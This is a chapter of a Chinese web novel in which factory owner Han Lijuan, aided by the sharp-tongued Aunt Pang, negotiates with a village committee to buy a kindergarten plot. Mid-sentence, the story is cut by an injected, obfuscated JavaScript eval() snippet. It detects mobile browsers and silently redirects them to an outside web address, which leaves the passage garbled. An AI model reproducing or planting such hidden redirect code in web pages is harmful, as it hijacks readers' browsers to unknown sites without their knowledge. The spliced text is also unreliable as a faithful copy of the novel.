老太太松开后座。刘婶慢慢的推着车从老太太身边经过，时刻盯着，怕万一老太太扑上来，在说她撞的。 退出去三米远，赶紧骑上车。 “哈哈哈……”老太太被刘婶从她身边经过的眼神逗笑了。 骑上车的刘婶仿佛听到笑声，一顿，加紧蹬车的速度，快走，再不走，怕自己气的哭出来。 “爷奶，没事吧。”韩丽娟怕这事让俩老人真的生气，岁数大了，怕生气。 “没事！”老太太毫不在意。“在老家，我三天不喊一次，都难受，这来了这里，你都是大厂长了，我跟你爷可不能总喊，这阵子把我憋得，今天放松放松。” “娟子，她不能再去酒店给你搞破坏吧。”老韩头担心这个。 “不会。”韩丽娟摇头，如今县城的波螺肉市场，是她的天下，她手里控制着波螺肉的市场价格，开门做生意，谁跟前过不去？ 66. 第 66 章 天渐渐暖和起来，在院子加盖房子的事情，渐渐提上日程。 房子好盖，但盖房子前，要先把幼儿园这块地皮买到手。 她之前跟幼儿园签了三年的合同，如今还不到一年，但也马上要交第二年房租了，韩丽娟想在第二次房租之前，把事情搞定。 她还需要胖婶。 因为韩丽娟的工厂，胖婶现在房租都涨了。之前一个月50，一年550，改成现在一个月65，一年750。一年涨两百，大家还都抢着租，不愿意往远走。 为啥？ 这年头，像韩丽娟这样按月准时开全部工资，不压资的企业，少之又少。 村子里及附近工厂不少，但是如今的很多厂子，很多都不是按月开全部工资。姜美凤以前的服装厂，压一整个月的工资，就是三月工资五月开。 一些机械厂，五一、十一开点工资，剩下的年底才开。 还有的企业，每月开一半，剩下的年底算清。 原因很多，其中一个主要原因是成本和现金流。 服装厂干一批活，起码两三个月，再加上来回物流之类的，一批活彻底结算清楚拿到全部货款，半年是快的。 很多重工型企业就更不必多说了，不仅仅是结款进度慢，因为很多都是连着原材料一起提供，压进去的钱更多。 那种厂房面积看着很大，各种大型机械，设备都有的工厂，其实能动用的现金，没比韩丽娟多多少。 但韩丽娟的工厂不一样，销售回款都很快，压的货品数量有限，她可以每月中旬前，就发清员工上个月的工资。 韩丽娟的不仅有正式员工，还有兼职员工，大半都是他们村的，她让这个村很多人手里能动用的现金充沛了，大家的消费热情也极高，随之而来的，房租涨了，房价也跟着涨了。 去年，如果买这个幼儿园，估计三四万能到手，但今年，不好说。 “对，赶紧买到手，不然以后别人眼红，把你这地方抢走，你咋整。”胖婶听说韩丽娟要把这地方买下来，拍一百双手赞成，买下来好呀，买下来韩丽娟就在他们村安定下来了，她的房租一年能多赚好几千。 韩丽娟要是被人挤兑走，来的人就算有实力，但不能给她带来这么多的实惠。 “就是不知道会不会太贵，太贵我也买不起，胖婶，你知道，我给大家的工资都不低的，自己手里反而没多少钱。”她手里现在有几万块钱，但盖房子、买车还有铺货，都需要一部分投入。 马上夏天，她今年还要想办法，看能不能再夏季开出新的大客户。减少淡旺季之间销量差。“如果买不下来，我就得想别的办法，我也怕以后别人买下幼儿园，用房租要挟我。” 胖婶一听，眼珠子转悠。“胖婶明白，你放心，我帮你跟村里说，去年咱们村卖了一个跟幼儿园差不错大小的厂房，还带着设备呢，四万块，这幼儿园空房子一个，就算今年涨价，也不能太贵。” “但胖婶给你说哈，娟子，那个厂房有些破，整个院子就一间大破厂房，带着一间办公室，那厂房大是大，但都破的不像样子。幼儿园院子宽敞，房子也都完整，再加上今年房价涨了，估计按照去年那个价格够呛。” “胖婶，我懂。”韩丽娟知道，去年跟今年的房价不可同日而语。这其中有她的原因，还有就是越来越多的人来滨海，想要安家或者创业，本身也会导致房价上涨。 他跟胖婶合计，村里报价五万五，她们讲一讲，差不多四万七八能买下来。 “六万！”谁料，到了村子，村里报价六万块！这不是村子里临时起意的价格，两天前就跟村子里通过气，要过来谈房子的事情，让村里报价。 “咋不去抢！”胖婶一听，嗓门就提起来。“去年那个厂房，带着机器呢，才卖四万，你这幼儿园有啥，院子里原来有点大转盘秋千啥的，都被你们拆走卖铁去了，就剩一个空房子，好意思卖六万！” “胖婶，你别急。”村委会，这功夫好几个人都在，这毕竟是村里的财产，不是书记或者财务一个人说的算的。“啥玩意不得商量着来嘛。” 他们报了六万，也没说不让讲价啊。 “那行，我说，就四万。”胖婶说。 “胖婶，你们这也不是诚心买呀。韩丽娟，你说，你想多少钱买，买卖，买卖，这买卖双方你来我往嘛，咱们村里也不是不能商量。”村里人听胖婶这价，明显气话。于是，准备跟韩丽娟谈。 “你问她干啥，她哪里知道村子里这些事。韩丽娟给村里做多少贡献啊，村里多少人在她这里上班、赚钱，这样的人你们不想着怎么把人留下，反而还想大赚一笔，把人撵走你们就高兴了？”胖婶制止韩丽娟，让她来。 “可不能胡说的，胖婶，咱们村里怎么不想留住韩丽娟，但这是村里的财产，我们个人不能拿村里的财产卖人情啊。” “你们现在在这个屋子里，代表的就是村子里，哪来的个人。”胖婶反驳。 “哎呀，咱们别争来辩去的了。韩丽娟，去年那个四万的厂房，是！带着点设备，但设备也是老款，不是最先进的了，而且多少都带着问题，需要大修才能使用的，厂房本身也破烂的。但幼儿园你们也看见了，房子内部几乎没啥大问题，干净整洁。院子的空间也大，以后你想加盖还是把之前的幼儿园推到，盖个二层三层，都行。再说，毕竟这房子是村子里卖给你的，你要盖房子啥的来村里申请，咱们都帮你加速办理。” 话里话外的意思，一要价虽然带点晃，但也算合理，没狮子大开口。二村里以后会对她的厂子多加照看。 “那咋啦，那一套设备当年也是花了大价钱的。”胖婶不领情，她本地户，她啥不知道，这几句话能忽悠韩丽娟，忽悠不住她。“村里本身就是给大家办事的，韩丽娟给村里带来实惠，加速办事应该的。你们不能只想要好处，不想着付出，你多卖那几千块钱，平均分给村里人，一人能几块钱，年底一人一条黄花鱼，那韩丽娟要是走了，村里人少多少黄花鱼。四万是给的低了点，四万五，四万五行了吧。”末了，胖婶不甘不愿的涨了5000块钱。 “我胖婶的性格你们知道，可不是那种三块五块跟你们来回拉拉扯扯的，你们想想清楚再还价，别觉得韩丽娟现在都在这稳定住了，搬家费事，她还有两年租期，这两年人家想转移，慢慢转移没啥损失。” 村里人你看我，我看你。村里人有几个难缠的妇女，胖婶就是一个，那嘴一张，十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302795|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人说不过她一个。 胖婶那个意思就很明显，你们给个公道的价格，别想着来回拉扯。人家韩丽娟不是只有买你们房子这一条出路。 “这样，5万块钱。”一直没说话的村支书，说话了。“之前我们商量，幼儿园这块地，要价六万，还价到5万5，我们就卖，这个价格不是针对你，不管谁找来想买幼儿园，都是这个价格。”支书说到这里，看了看韩丽娟。“韩丽娟，过去这一年，你确实给村子里、给大家都带来很多好处，村子里希望留住你这样优秀的人和厂子。我不管是作为支书，还是个人，都很感谢你。胖婶说的对，多卖三五千，不能给村子里带来什么改变，可我们管着这个村子，就是要维护集体的利益，卖的太低，大家戳着脊梁骨骂的。但因为是你，我愿意再减5000块，对上对下我来交代，但，我有一个要求，那就是你这个工厂未来五年不能搬走，必须留在我们村。你看，怎么样？” 胖婶没吱声，而是看着韩丽娟，这个价格距离他们预期，差了那么两三千，但支书发话了，似乎这个价格，就这样。现在，她没办法替韩丽娟做主，要看韩丽娟自己的想法了。 大家也都在等韩丽娟说话。 “我同意，谢谢支书，谢谢村里，过去一年，村子里、大家都帮助我很多，我在咱们村子里待得很开心，未来五年，我不会搬走。”韩丽娟几乎没有什么犹豫，答应下来。 房价未来应该还会涨，现在村子里房子，三间房，带着一个不大不小的院子，要价都七八千了，平均比去年高500。 村子里给的价格，距离她的最低预期，虽然高了，也在合理范围内。她不想为这三两千拉扯，最后价格下来了，大家闹的不愉快。 “但……”韩丽娟同意了，但希望村里允许她分几期，结清房款。她的钱，不能全部压在房子上。“我可以先交一万块钱的房钱，剩下的四万，我会分几期，在年底之前结清。” “这不是大问题。”支书笑了。“但，要在年底之前结算清楚。” 双方没意见，签了买卖合同，幼儿园就是韩丽娟的了。 她有房了！ 但她没想到，第一套房，竟然是她的厂房。 从村委会出来，韩丽娟拿出500块钱，给胖婶。“胖婶，谢谢你帮我。”这年头，找人帮着买房子，没有让人白帮忙的。 “哎呀呀，这也太多了。”胖婶接过钱，一数，竟然500块！“你看这价格，我也没帮你讲到你想要的。” “那也是你帮我讲下来的。”韩丽娟知道，自己去村里，有些话她可不能大喇喇的说出来，这话胖婶说才合适。 最后，胖婶高兴的收了钱，韩丽娟就是她的小财神，如今她把小财神留住了，哈哈哈。 房子到手，接下来就开始安排找人盖房子。 盖的也不是复杂的房子，人手村里就能找，具体的事宜，韩丽娟让罗卫民盯着。 经过一段时间，韩丽娟发现，罗哥这个人，话不多，人也腼腆，但有一个优点，那就是，只要安排的事情，做起来极其认真，而且这个人特别的维护她的利益。 “娟子，娟子，你不是要车吗，我给你打听到一个。”刚刚买完房，高婶又来找她。